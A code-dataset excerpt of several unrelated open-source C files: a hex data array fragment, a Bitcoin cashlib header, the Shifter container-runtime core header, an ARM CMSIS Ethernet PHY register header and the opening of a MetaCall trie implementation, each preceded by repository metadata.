0x00, 0xB7, 0xFF, 0xF2, 0xFF, 0xF8, 0xFF, 0xF2, 0xFF, 0x46, 0x00, 0x0D,
0x00, 0x0A, 0x00, 0x0D, 0x00, 0xC0, 0xFF, 0xF4, 0xFF, 0xF7, 0xFF, 0xF4,
0xFF, 0x3C, 0x00, 0x0D, 0x00, 0x09, 0x00, 0x0D, 0x00, 0xCA, 0xFF, 0xF6,
0xFF, 0xFB, 0xFF, 0xFC, 0xFF, 0xE8, 0x03, 0x05, 0x01, 0x05, 0x00, 0x07,
0x00, 0x1A, 0xFF, 0xF7, 0xFF, 0xF7, 0xFF, 0xF7, 0xFF, 0xE1, 0x00, 0x08,
0x00, 0x06, 0x00, 0x08, 0x00, 0x20, 0xFF, 0xF7, 0xFF, 0xF8, 0xFF, 0xF4,
0xFF, 0xD8, 0x00, 0x0A, 0x00, 0x07, 0x00, 0x08, 0x00, 0x27, 0xFF, 0xF3,
0xFF, 0xF4, 0xFF, 0xF2, 0xFF, 0xCD, 0x00, 0x07, 0x02, 0x02, 0x07, 0x00,
0x0E, 0x00, 0x74, 0xFF, 0xE9, 0xFF, 0xEE, 0xFF, 0xEA, 0xFF, 0x82, 0x00,
0x13, 0x00, 0x0F, 0x00, 0x13, 0x00, 0x80, 0xFF, 0xEC, 0xFF, 0xF1, 0xFF,
0xEA, 0xFF, 0x7A, 0x00, 0x14, 0x00, 0x0F, 0x00, 0x14, 0x00, 0x8C, 0xFF,
0xEE, 0xFF, 0xF1, 0xFF, 0xEC, 0xFF, 0x71, 0x00, 0x15, 0x00, 0x12, 0x00,
0x15, 0x00, 0x98, 0xFF, 0xF2, 0xFF, 0xF9, 0xFF, 0xFC, 0xFC, 0xFF, 0x27,
0x00, 0x0B, 0x00, 0x0A, 0x00, 0x0B, 0x00, 0xE2, 0xFF, 0xF9, 0xFF, 0xFA,
0xFF, 0xFA, 0xFF, 0x1D, 0x00, 0x0A, 0x00, 0x07, 0x00, 0x08, 0x00, 0xE8,
0xFF, 0xF9, 0xFF, 0xFC, 0xFE, 0xFB, 0xFE, 0x16, 0x00, 0x07, 0x00, 0x06,
0x01, 0x05, 0x03, 0xEF, 0xFF, 0xFD, 0xFD, 0xFD, 0xFB, 0xFF, 0xF7, 0x11,
0x00, 0x07, 0x00, 0x09, 0x00, 0x0E, 0x00, 0x44, 0xFF, 0xEF, 0xFF, 0xF3,
0xFF, 0xEF, 0xFF, 0xB6, 0x00, 0x11, 0x00, 0x0D, 0x00, 0x0F, 0x00, 0x4D,
0xFF, 0xED, 0xFF, 0xF2, 0xFF, 0xEE, 0xFF, 0xAF, 0x00, 0x11, 0x00, 0x0E,
0x00, 0x10, 0x00, 0x56, 0xFF, 0xED, 0xFF, 0xF0, 0xFF, 0xED, 0xFF, 0xA5,
0x00, 0x12, 0x00, 0x0D, 0x00, 0x11, 0x00, 0x5E, 0xFF, 0xEA, 0xFF, 0xEE,
0xFF, 0xEB, 0xFF, 0x98, 0x00, 0x0E, 0x00, 0x06, 0x02, 0x01, 0x0B, 0x00,
0xAC, 0xFF, 0xEB, 0xFF, 0xF1, 0xFF, 0xEC, 0xFF, 0x46, 0x00, 0x0E, 0x00,
0x0B, 0x00, 0x0F, 0x00, 0xBA, 0xFF, 0xEE, 0xFF, 0xF2, 0xFF, 0xEE, 0xFF,
0x3E, 0x00, 0x0E, 0x00, 0x0B, 0x00, 0x0E, 0x00, 0xC0, 0xFF, 0xEE, 0xFF,
0xF0, 0xFF, 0xEE, 0xFF, 0x39, 0x00, 0x0F, 0x00, 0x0C, 0x00, 0x0F, 0x00,
0xCB, 0xFF, 0xF1, 0xFF, 0xF4, 0xFF, 0xF3, 0xFF, 0xE0, 0x02, 0x08, 0x06,
0x07, 0x05, 0x09, 0x00, 0x20, 0xFF, 0xF3, 0xFF, 0xF4, 0xFF, 0xF2, 0xFF,
0xD9, 0x00, 0x0B, 0x04, 0x09, 0x03, 0x0B, 0x00, 0x27, 0xFF, 0xF1, 0xFF,
0xF2, 0xFF, 0xF1, 0xFF, 0xD1, 0x00, 0x0E, 0x02, 0x09, 0x02, 0x0D, 0x00,
0x2E, 0xFF, 0xED, 0xFF, 0xF1, 0xFF, 0xEC, 0xFF, 0xC6, 0x00, 0x0A, 0x06,
0x04, 0x0B, 0x00, 0x12, 0x00, 0x7D, 0xFF, 0xE8, 0xFF, 0xEB, 0xFF, 0xE8,
0xFF, 0x7C, 0x00, 0x17, 0x00, 0x12, 0x00, 0x17, 0x00, 0x89, 0xFF, 0xEA,
0xFF, 0xED, 0xFF, 0xE9, 0xFF, 0x75, 0x00, 0x16, 0x00, 0x13, 0x00, 0x17,
0x00, 0x92, 0xFF, 0xEB, 0xFF, 0xEF, 0xFF, 0xEB, 0xFF, 0x6D, 0x00, 0x19,
0x00, 0x14, 0x00, 0x1A, 0x00, 0x9F, 0xFF, 0xEF, 0xFF, 0xF5, 0xFC, 0xF9,
0xF7, 0xFF, 0x24, 0x00, 0x0E, 0x02, 0x0B, 0x01, 0x0B, 0x00, 0xE4, 0xFF,
};
|
36cb9eb880a3eed650a1d7c267527563eb12220f
|
1ca288c3f3c54db93fe4828214a81f6687105a1e
|
/src/cashlib/cashlib.h
|
75f56a5a1442684876736ed0261f74227233c27b
|
[
"MIT"
] |
permissive
|
BitcoinUnlimited/BitcoinUnlimited
|
489c91a9184bdbad3824a2ce3126d2e9c0786e5d
|
05de381c02eb4bfca94957733acadfa217527f25
|
refs/heads/release
| 2023-06-01T08:11:18.920865
| 2021-03-29T15:58:02
| 2021-03-29T15:58:02
| 18,613,259
| 546
| 301
|
MIT
| 2021-01-04T01:05:24
| 2014-04-09T21:03:00
|
C++
|
UTF-8
|
C
| false
| false
| 1,871
|
h
|
cashlib.h
|
// Copyright (c) 2015-2019 The Bitcoin Unlimited developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef CASHLIB_H
#define CASHLIB_H
#include "stdint.h"
/** Convert binary data to a hex string. The provided result buffer must be 2*length+1 bytes.
*/
SLAPI int Bin2Hex(unsigned char *val, int length, char *result, unsigned int resultLen);
/** Given a private key, return its corresponding public key */
SLAPI int GetPubKey(unsigned char *keyData, unsigned char *result, unsigned int resultLen);
/** Sign one input of a transaction
All buffer arguments should be in binary-serialized data.
The transaction (txData) must contain the COutPoint (tx hash and vout) of all relevant inputs,
however, it is not necessary to provide the spend script.
*/
SLAPI int SignTx(unsigned char *txData,
int txbuflen,
unsigned int inputIdx,
int64_t inputAmount,
unsigned char *prevoutScript,
uint32_t priorScriptLen,
uint32_t nHashType,
unsigned char *keyData,
unsigned char *result,
unsigned int resultLen);
/** Calculates the sha256 of data, and places it in result. Result must be 32 bytes */
SLAPI void sha256(const unsigned char* data, unsigned char len, unsigned char* result);
/** Calculates the double sha256 of data and places it in result. Result must be 32 bytes */
SLAPI void hash256(const unsigned char* data, unsigned char len, unsigned char* result);
/** Calculates the RIPEMD160 of the SHA256 of data and places it in result. Result must be 20 bytes */
SLAPI void hash160(const unsigned char* data, unsigned char len, unsigned char* result);
/** Return random bytes from cryptographically acceptable random sources */
SLAPI int RandomBytes(unsigned char *buf, int num);
#endif /* CASHLIB_H */
|
d91b02ed92ab12e0f681f5633ce0645cc8766842
|
1b6222f79e5c3a80c224eaa8c656c87a778d57f5
|
/src/shifter_core.h
|
cfb35dfbab313fa9d2f04ff716a3969fbdfc7dd0
|
[
"BSD-3-Clause-LBNL"
] |
permissive
|
NERSC/shifter
|
beebfd66d9f36ea5509cff5031316d654d89f0ba
|
0784ae5b34537c5ca35f464249070f90c6884ca2
|
refs/heads/master
| 2023-05-30T06:07:25.121789
| 2022-10-22T00:07:54
| 2022-10-22T00:07:54
| 52,631,494
| 374
| 89
|
NOASSERTION
| 2023-01-31T00:37:09
| 2016-02-26T20:42:28
|
C
|
UTF-8
|
C
| false
| false
| 7,152
|
h
|
shifter_core.h
|
/** @file shifter_core.h
* @brief Library for setting up and tearing down user-defined images
*
* @author Douglas M. Jacobsen <dmjacobsen@lbl.gov>
*/
/* Shifter, Copyright (c) 2016, The Regents of the University of California,
* through Lawrence Berkeley National Laboratory (subject to receipt of any
* required approvals from the U.S. Dept. of Energy). All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of the University of California, Lawrence Berkeley
* National Laboratory, U.S. Dept. of Energy nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* See LICENSE for full text.
*/
#ifndef __SHFTR_CORE_INCLUDE
#define __SHFTR_CORE_INCLUDE
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <limits.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include "ImageData.h"
#include "UdiRootConfig.h"
#include "VolumeMap.h"
#include "MountList.h"
#ifdef __cplusplus
extern "C" {
#endif
#define INVALID_USER INT_MAX
#define INVALID_GROUP INT_MAX
#define FILE_SIZE_LIMIT 5242880
typedef enum _env_putenv_mode {
ENV_REPLACE,
ENV_PREPEND,
ENV_APPEND
} env_putenv_mode_et;
int setupUserMounts(VolumeMap *map, UdiRootConfig *udiConfig);
int setupVolumeMapMounts(MountList *mountCache, VolumeMap *map,
int userRequested, dev_t createTo, UdiRootConfig *udiConfig);
int userMountFilter(char *udiRoot, char *filtered_from, char *filtered_to, char *flags);
int mountImageVFS(ImageData *imageData,
const char *username,
int verbose,
const char *minNodeSpec,
UdiRootConfig *udiConfig);
int mountImageLoop(ImageData *imageData, UdiRootConfig *udiConfig);
int loopMount(const char *imagePath, const char *loopMountPath, ImageFormat format, UdiRootConfig *udiConfig, int readonly);
int destructUDI(UdiRootConfig *udiConfig, int killSshd);
int bindImageIntoUDI(const char *relpath, ImageData *imageData, UdiRootConfig *udiConfig, int copyFlag);
int prepareSiteModifications(const char *username, const char *minNodeSpec, UdiRootConfig *udiConfig);
int setupImageSsh(char *sshPubKey, char *username, uid_t uid, gid_t gid, UdiRootConfig *udiConfig);
int startSshd(const char *user, UdiRootConfig *udiConfig);
int filterEtcGroup(const char *dest, const char *from, const char *username, size_t maxGroups);
int remountUdiRootReadonly(UdiRootConfig *udiConfig);
int forkAndExecv(char *const *argvs);
int forkAndExecvSilent(char *const *argvs);
pid_t findSshd(void);
int killSshd(void);
char **parseMounts(size_t *n_mounts);
char *generateShifterConfigString(const char *, ImageData *, VolumeMap *, UdiRootConfig *);
int saveShifterConfig(const char *, ImageData *, VolumeMap *, UdiRootConfig *);
int compareShifterConfig(const char *, ImageData*, VolumeMap *, UdiRootConfig *);
int unmountTree(MountList *mounts, const char *base);
int validateUnmounted(const char *path, int subtree);
int isSharedMount(const char *);
int writeHostFile(const char *minNodeSpec, UdiRootConfig *udiConfig);
int forkAndExecv(char *const *args);
int forkAndExecvSilent(char *const *args);
char **calculate_args(int useEntry, char **clArgs, char *clEntry,
ImageData *imageData);
/** shifter_set_capability_boundingset_null
* attempts to prevent any capabilities from ever being assumed again by this
* process and its heirs
*
* Returns 0 upon success, non-zero upon any failure
*/
int shifter_set_capability_boundingset_null();
/** shifter_getgrouplist
* runs libc getgrouplist but handles memory allocation and screens out gid 0
*
* \param user username of target user, must not be NULL, nor point to "root"
* \param group gid of primary group for target user, must not be 0
* \param pointer to ngroups, can be pointer to an zero-value integer (ngroups
* itself must not be NULL)
*
* \returns 0-terminated array of gids (malloc'd, user responsible for
* freeing it)
*
* Upon successful run, will be return array populated with the valid gids for
* the user and ngroups will be set to the number of groups to consider (the
* usable extent of the array).
*
* This function will fail if the user appears to belong to more than 512
* groups, as this is considered excessive and may be a sign of trouble.
*
* If the resulting group list contains any gid 0 entries, these will be
* replaced with the non-zero value for group (the primary gid for the
* user). Note that the final entry in the list will be zero, but this is to
* be used to signal termination NOT a valid entry. Ever.
*/
gid_t *shifter_getgrouplist(const char *user, gid_t group, int *ngroups);
/** shifter_copyenv
* copy current process environ into a newly allocated array with newly
* allocated strings
*
* @return copy of the environment, caller is responsible to deal with memory
*/
char **shifter_copyenv(void);
int shifter_putenv(char ***env, const char *var);
int shifter_appendenv(char ***env, const char *var);
int shifter_prependenv(char ***env, const char *var);
int shifter_unsetenv(char ***env, const char *var);
int shifter_setupenv(char ***env, ImageData *image, const char *envfile, char **user_env, UdiRootConfig *udiConfig);
int shifter_putenv_file(char ***env, const char *env_fname);
struct passwd *shifter_getpwuid(uid_t tgtuid, UdiRootConfig *config);
struct passwd *shifter_getpwnam(const char *tgtnam, UdiRootConfig *config);
int setupPerNodeCacheFilename(UdiRootConfig *udiConfig, VolMapPerNodeCacheConfig *, char *, size_t);
int setupPerNodeCacheBackingStore(VolMapPerNodeCacheConfig *cache, const char *from_buffer, UdiRootConfig *udiConfig);
int makeUdiMountPrivate(UdiRootConfig *udiConfig);
char **getSupportedFilesystems();
int supportsFilesystem(char *const * fsTypes, const char *fsType);
/** shifter_find_process_by_cmdline
* discover a process id which was started with a particular command
* (relies on there only being one process of interest running on the
* machine)
*
* @param command string to match command line
* @returns pid of discovered process, -1 upon error, 0 if not found
*/
pid_t shifter_find_process_by_cmdline(const char *command);
/** shifter_realpath
* perform standard realpath operation, but ensure that any symlinks resolve
* within the container
*/
char *shifter_realpath(const char *path, UdiRootConfig *config);
#ifdef __cplusplus
}
#endif
#endif
|
f1886b23ce38f5e814207e52c37630b181612aa4
|
4bfd0ac356308fce892cdfb9084ebb2945aeb2fd
|
/ETH/PHY_KSZ8061RNB.h
|
f37299a206a1bca47e50234f92196d015d7f6676
|
[
"Apache-2.0"
] |
permissive
|
ARM-software/CMSIS-Driver
|
6f20854bb7b8294e35c37b1330a37688dc51fa52
|
b91908d907b647bd212920e30b383b03809d68e0
|
refs/heads/main
| 2023-03-16T17:58:43.403214
| 2022-09-27T06:29:48
| 2022-09-27T06:29:48
| 118,799,834
| 138
| 64
|
Apache-2.0
| 2022-09-27T06:29:49
| 2018-01-24T17:42:10
|
C
|
UTF-8
|
C
| false
| false
| 12,908
|
h
|
PHY_KSZ8061RNB.h
|
/*
* Copyright (c) 2013-2018 Arm Limited. All rights reserved.
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the License); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* -----------------------------------------------------------------------
*
* $Date: 25. May 2018
* $Revision: V1.3
*
* Project: Ethernet Physical Layer Transceiver (PHY)
* Definitions for KSZ8061RNB
* -------------------------------------------------------------------- */
#ifndef __PHY_KSZ8061RNB_H
#define __PHY_KSZ8061RNB_H
#include "Driver_ETH_PHY.h"
/* Register Map */
#define REG_BMCR 0x00U /* Basic Control */
#define REG_BMSR 0x01U /* Basic Status */
#define REG_PHYIDR1 0x02U /* PHY Identifier 1 */
#define REG_PHYIDR2 0x03U /* PHY Identifier 2 */
#define REG_ANAR 0x04U /* Auto-Negotiation Advertisement */
#define REG_ANLPAR 0x05U /* Auto-Neg. Link Partner Ability */
#define REG_ANER 0x06U /* Auto-Neg. Expansion */
#define REG_ANNP 0x07U /* Auto-Neg. Next Page */
#define REG_LPNP 0x08U /* Link Partner Next Page Ability */
#define REG_DRCTRL 0x10U /* Digital Reserved Control */
#define REG_AFECTRL1 0x11U /* AFE Control 1 */
#define REG_RXERCNT 0x15U /* RXER Counter */
#define REG_OMSO 0x16U /* Operation Mode Strap Override */
#define REG_OMSS 0x17U /* Operation Mode Strap Status */
#define REG_EXCTRL 0x18U /* Expanded Control */
#define REG_IRQCS 0x1BU /* Interrupt Control/Status */
#define REG_LMDCS 0x1DU /* LinkMD Control/Status */
#define REG_PHYCR1 0x1EU /* PHY Control 1 */
#define REG_PHYCR2 0x1FU /* PHY Control 2 */
/* Basic Control Register Bitmasks */
#define BMCR_RESET 0x8000U /* Software Reset */
#define BMCR_LOOPBACK 0x4000U /* Loopback mode */
#define BMCR_SPEED_SELECT 0x2000U /* Speed Select (1=100Mb/s) */
#define BMCR_ANEG_EN 0x1000U /* Auto Negotiation Enable */
#define BMCR_POWER_DOWN 0x0800U /* Power Down */
#define BMCR_ISOLATE 0x0400U /* Isolate Media interface */
#define BMCR_RESTART_ANEG 0x0200U /* Restart Auto Negotiation */
#define BMCR_DUPLEX_MODE 0x0100U /* Duplex Mode (1=Full duplex) */
#define BMCR_COLLISION_TEST 0x0080U /* Collision Test */
/* Basic Status Register Bitmasks */
#define BMSR_100B_T4 0x8000U /* 100BASE-T4 Capable */
#define BMSR_100B_TX_FD 0x4000U /* 100BASE-TX Full Duplex Capable */
#define BMSR_100B_TX_HD 0x2000U /* 100BASE-TX Half Duplex Capable */
#define BMSR_10B_T_FD 0x1000U /* 10BASE-T Full Duplex Capable */
#define BMSR_10B_T_HD 0x0800U /* 10BASE-T Half Duplex Capable */
#define BMSR_NO_PREAMBLE 0x0040U /* Preamble suppression */
#define BMSR_ANEG_COMPLETE 0x0020U /* Auto Negotiation Complete */
#define BMSR_REMOTE_FAULT 0x0010U /* Remote Fault */
#define BMSR_ANEG_ABILITY 0x0008U /* Auto Negotiation Ability */
#define BMSR_LINK_STAT 0x0004U /* Link Status (1=link is up) */
#define BMSR_JABBER_DETECT 0x0002U /* Jabber Detect */
#define BMSR_EXT_CAPAB 0x0001U /* Extended Capability */
/* PHY Identifier Registers Bitmasks */
#define PHY_ID1 0x0022U /* PHY ID Number 1 */
#define PHY_ID2 0x1570U /* PHY ID Number 2 */
/* Auto-Negotiation Advertisement Register Bitmasks */
#define ANAR_NEXT_PAGE 0x8000U /* Next page capable */
#define ANAR_REMOTE_FAULT 0x2000U /* Remote fault supported */
#define ANAR_PAUSE 0x0C00U /* Pause */
#define ANAR_100B_T4 0x0200U /* 100Base-T4 capable */
#define ANAR_100B_TX_FD 0x0100U /* 100MBps full-duplex capable */
#define ANAR_100B_TX_HD 0x0080U /* 100MBps half-duplex capable */
#define ANAR_10B_TX_FD 0x0040U /* 10MBps full-duplex capable */
#define ANAR_10B_TX_HD 0x0020U /* 10MBps half-duplex capable */
#define ANAR_SELECTOR_FIELD 0x001FU /* Selector field (0x01==IEEE 802.3) */
/* Auto-Negotiation Link Partner Ability Register Bitmasks */
#define ANLPAR_NEXT_PAGE 0x8000U /* Next page capable */
#define ANLPAR_ACKNOWLEDGE 0x4000U /* Acknowledge from partner */
#define ANLPAR_REMOTE_FAULT 0x2000U /* Remote fault detected */
#define ANLPAR_PAUSE 0x0C00U /* Pause */
#define ANLPAR_100B_TX_FD 0x0100U /* 100MBps full-duplex capable */
#define ANLPAR_100B_TX_HD 0x0080U /* 100MBps half-duplex capable */
#define ANLPAR_10B_TX_FD 0x0040U /* 10MBps full-duplex capable */
#define ANLPAR_10B_TX_HD 0x0020U /* 10MBps half-duplex capable */
#define ANLPAR_SELECTOR_FIELD 0x001FU /* Selector field (0x01==IEEE 802.3) */
/* Auto-Negotiation Expansion Register Bitmasks */
#define ANER_PDF 0x0010U /* Parallel Detection Fault */
#define ANER_LPAR_NEXT_PAGE 0x0008U /* Link Partner Next Page Able */
#define ANER_NEXT_PAGE 0x0004U /* Next Page Able */
#define ANER_PAGE_RECEIVED 0x0002U /* Page Received */
#define ANER_LPAR_ANEG 0x0001U /* Link Partner Auto-Negotiation Able */
/* Auto-Negotiation Next Page Register Bitmasks */
#define ANNP_NEXT_PAGE 0x8000U /* Next Page */
#define ANNP_MESSAGE_PAGE 0x2000U /* Message Page */
#define ANNP_ACKNOWLEDGE2 0x1000U /* Acknowledge2 */
#define ANNP_TOGGLE 0x0800U /* Toggle */
#define ANNP_MESSAGE_FIELD 0x07FFU /* Message Field */
/* Link Partner Next Page Ability Register Bitmasks */
#define LPNP_NEXT_PAGE 0x8000U /* Next page */
#define LPNP_ACKNOWLEDGE 0x4000U /* Acknowledge */
#define LPNP_MESSAGE_PAGE 0x2000U /* Message Page */
#define LPNP_ACKNOWLEDGE2 0x1000U /* Acknowledge2 */
#define LPNP_TOGGLE 0x0800U /* Toggle */
#define LPNP_MESSAGE_FIELD 0x07FFU /* Message Field */
/* Digital Reserved Control Register Bitmasks */
#define DRCTRL_PLL_OFF 0x0010U /* PLL Off */
/* AFE Control 1 Register Bitmasks */
#define AFECTRL1_SOSC_EN 0x0020U /* Slow-Oscillator Mode Enable */
/* Operation Mode Strap Override Register Bitmasks */
#define OMSO_RSVD_FACTORY 0x8000U /* Reserved Factory Mode */
#define OMSO_B_CAST_OFF 0x0200U /* B-CAST_OFF Override */
#define OMSO_RMII_B_TO_B 0x0040U /* RMII B-to-B Override */
#define OMSO_NAND_TREE 0x0020U /* NAND Tree Override */
#define OMSO_RMII 0x0002U /* RMII Override */
/* Operation Mode Strap Status Register Bitmasks */
#define OMSS_PHYAD 0xE000U /* PHYAD[2:0] Strap-In Status */
#define OMSS_RMII 0x0001U /* RMII Strap-In Status */
/* Expanded Control Register Bitmasks */
#define EXCTRL_EDPD 0x0800U /* EDPD Disabled */
/* Interrupt Control/Status Register Bitmasks */
#define IRQCS_JABBER_IE 0x8000U /* Jabber Interrupt Enable */
#define IRQCS_RXERR_IE 0x4000U /* Receive Error Interrupt Enable */
#define IRQCS_PGRCVD_IE 0x2000U /* Page Received Interrupt Enable */
#define IRQCS_PDF_IE 0x1000U /* Parallel Detect Fault Int. Enable */
#define IRQCS_LP_ACK_IE 0x0800U /* Link Partner Ack. Interrupt Enable */
#define IRQCS_LINK_DOWN_IE 0x0400U /* Link-Down Interrupt Enable */
#define IRQCS_RFAULT_IE 0x0200U /* Remote Fault Interrupt Enable */
#define IRQCS_LINK_UP_IE 0x0100U /* Link-Up Interrupt Enable */
#define IRQCS_JABBER_IRQ 0x0080U /* Jabber Interrupt */
#define IRQCS_RXERR_IRQ 0x0040U /* Receive Error Interrupt */
#define IRQCS_PGRCVD_IRQ 0x0020U /* Page Receive Interrupt */
#define IRQCS_PDF_IRQ 0x0010U /* Parallel Detect Fault Interrupt */
#define IRQCS_LP_ACK_IRQ 0x0008U /* Link Partner Acknowledge Interrupt */
#define IRQCS_LINK_DOWN_IRQ 0x0004U /* Link-Down Interrupt */
#define IRQCS_RFAULT_IRQ 0x0002U /* Remote Fault Interrupt */
#define IRQCS_LINK_UP_IRQ 0x0001U /* Link-Up Interrupt */
/* LinkMD Control/Status Register Bitmasks */
#define LMDCS_CABLE_TEST_EN 0x8000U /* Cable Diagnostic Test Enable */
#define LMDCS_CABLE_TEST_RES 0x6000U /* Cable Diagnostic Test Result */
#define LMDCS_SHORT_CABLE 0x1000U /* Short Cable Indicator */
#define LMDCS_CABLE_FAULT_CNT 0x00FFU /* Cable Fault Counter */
/* PHY Control 1 Register Bitmasks */
#define PHYCR1_EN_PAUSE 0x0200U /* Enable Pause (Flow Control) */
#define PHYCR1_LINK_STAT 0x0100U /* Link Status */
#define PHYCR1_POLARITY_STAT 0x0080U /* Polarity Status */
#define PHYCR1_MDI_STATE 0x0020U /* MDI/MDI-X State */
#define PHYCR1_ENERGY_DETECT 0x0010U /* Energy Detect */
#define PHYCR1_PHY_ISOLATE 0x0008U /* PHY Isolate */
#define PHYCR1_OPERATION_MODE 0x0007U /* Operation Mode Indication */
/* PHY Control 1 Operation Mode Bitmasks */
#define PHYCR1_OM_100B 0x0002U /* 100Base-TX bitmask */
#define PHYCR1_OM_FD 0x0004U /* Full-duplex bitmask */
/* PHY Control 2 Register Bitmasks */
#define PHYCR2_HP_MDIX 0x8000U /* HP_MDIX */
#define PHYCR2_MDI_SELECT 0x4000U /* MDI/MDI-X Select */
#define PHYCR2_PAIR_SWAP_DIS 0x2000U /* Pair Swap Disable */
#define PHYCR2_FORCE_LINK 0x0800U /* Force Link */
#define PHYCR2_POWER_SAVING 0x0400U /* Power Saving */
#define PHYCR2_IRQ_LEVEL 0x0200U /* Interrupt Level */
#define PHYCR2_EN_JABBER 0x0100U /* Enable Jabber */
#define PHYCR2_REF_CLK_SELECT 0x0080U /* RMII Reference Clock Select */
#define PHYCR2_LED_MODE 0x0030U /* LED Mode */
#define PHYCR2_DIS_TX 0x0008U /* Disable Transmitter */
#define PHYCR2_REM_LOOPBACK 0x0004U /* Remote Loopback */
#define PHYCR2_DIS_DATA_SCR 0x0001U /* Disable Data Scrambling */
/* PHY Driver State Flags */
#define PHY_INIT 0x01U /* Driver initialized */
#define PHY_POWER 0x02U /* Driver power is on */
/* PHY Driver Control Structure */
typedef struct phy_ctrl {
ARM_ETH_PHY_Read_t reg_rd; /* PHY register read function */
ARM_ETH_PHY_Write_t reg_wr; /* PHY register write function */
uint16_t bmcr; /* BMCR register value */
uint8_t flags; /* Control flags */
uint8_t rsvd; /* Reserved */
} PHY_CTRL;
#endif /* __PHY_KSZ8061RNB_H */
|
a99c21cb4253a01ed2777248d6b3f860e0f67cec
|
56df6683865fd9319b389afd6dd4a922299da593
|
/source/adt/source/adt_trie.c
|
a3790ef3c91da3cc926c3d7722fa835b9326f2ae
|
[
"Python-2.0",
"GPL-2.0-or-later",
"MPL-1.1",
"NCSA",
"LicenseRef-scancode-proprietary-license",
"GPL-1.0-or-later",
"BSD-3-Clause",
"MPL-2.0",
"Ruby",
"BSD-2-Clause",
"MIT",
"Apache-2.0"
] |
permissive
|
metacall/core
|
4f36fe0b13924853aab6d0f053285b649398cc1d
|
419ffb573b17501c91662f0f161032bb19ea1ab3
|
refs/heads/develop
| 2023-08-23T10:19:30.898387
| 2023-08-10T18:39:08
| 2023-08-10T18:39:08
| 163,221,062
| 1,391
| 167
|
Apache-2.0
| 2023-09-13T23:49:43
| 2018-12-26T22:02:57
|
C
|
UTF-8
|
C
| false
| false
| 17,585
|
c
|
adt_trie.c
|
/*
* Abstract Data Type Library by Parra Studios
* A abstract data type library providing generic containers.
*
* Copyright (C) 2016 - 2022 Vicente Eduardo Ferrer Garcia <vic798@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/* -- Headers -- */
#include <adt/adt_set.h>
#include <adt/adt_trie.h>
#include <log/log.h>
/* -- Definitions -- */
#define TRIE_CAPACITY_MIN ((size_t)0x10)
/* -- Forward Declarations -- */
struct trie_node_ref_type;
struct trie_node_free_type;
struct trie_node_type;
struct trie_node_set_iterator_args_type;
struct trie_node_append_iterator_args_type;
struct trie_node_suffixes_iterator_args_type;
/* -- Type Definitions -- */
typedef struct trie_node_ref_type *trie_node_ref;
typedef struct trie_node_free_type *trie_node_free;
typedef struct trie_node_type *trie_node;
typedef struct trie_node_set_iterator_args_type *trie_node_set_iterator_args;
typedef struct trie_node_append_iterator_args_type *trie_node_append_iterator_args;
typedef struct trie_node_suffixes_iterator_args_type *trie_node_suffixes_iterator_args;
/* -- Member Data -- */
struct trie_node_ref_type
{
trie_key key; /**< Pointer to the key of the node */
size_t index; /**< Reference to node in trie set */
};
struct trie_node_free_type
{
trie_node_free next; /**< Reference to the next node in the list */
size_t index; /**< Reference to node in trie set */
};
struct trie_node_type
{
size_t parent_index; /**< Reference to parent trie node */
size_t self_index; /**< Reference to itself inside trie node list */
trie_key key; /**< Pointer to key of the node */
trie_value value; /**< Pointer to data of the node */
set childs; /**< Set with references to child trie nodes (trie_key -> trie_node_ref) */
};
struct trie_type
{
trie_node root; /**< Trie root node */
trie_node node_list; /**< Array of trie nodes */
size_t size; /**< Size of current nodes inside node list */
size_t capacity; /**< Size of allocated nodes in memory */
trie_node_free free_node_list; /**< List of free nodes in array (size_t) */
size_t key_limit; /**< Maximum number of childs per trie node (0 == disabled) */
size_t depth_limit; /**< Maximum number of depth levels in a trie (0 == disabled) */
trie_cb_hash hash_cb; /**< Hash callback for node insertion */
trie_cb_compare compare_cb; /**< Compare callback for value comparison */
};
struct trie_node_set_iterator_args_type
{
trie t; /**< Pointer to trie */
trie_cb_iterate iterate_cb; /**< Pointer to iterator callback */
trie_cb_iterate_args args; /**< Pointer to iterator arguments */
};
struct trie_node_append_iterator_args_type
{
trie dest; /**< Pointer to destination trie */
vector prefixes; /**< Vector containing prefixes for each iteration */
};
struct trie_node_suffixes_iterator_args_type
{
trie suffix_trie; /**< Pointer to new suffix trie */
vector prefixes; /**< Vector containing prefixes for each iteration */
};
/* -- Private Methods -- */
static trie_node trie_node_get(trie t, vector keys);
static trie_node trie_node_insert(trie t, trie_node parent, trie_key key, trie_value value);
static int trie_node_childs_cb_iterator(set s, set_key key, set_value value, set_cb_iterate_args args);
static void trie_node_iterate_recursive(trie t, trie_node n, trie_cb_iterate iterate_cb, trie_cb_iterate_args args);
static void trie_node_iterate(trie t, trie_node n, trie_cb_iterate iterate_cb, trie_cb_iterate_args args);
static int trie_node_append_cb_iterator(trie t, trie_key key, trie_value value, trie_cb_iterate_args args);
static int trie_node_clear(trie t, trie_node n);
static trie_node trie_node_find(trie t, trie_key key);
static int trie_node_suffixes_cb_iterator(trie t, trie_key key, trie_value value, trie_cb_iterate_args args);
/* -- Methods -- */
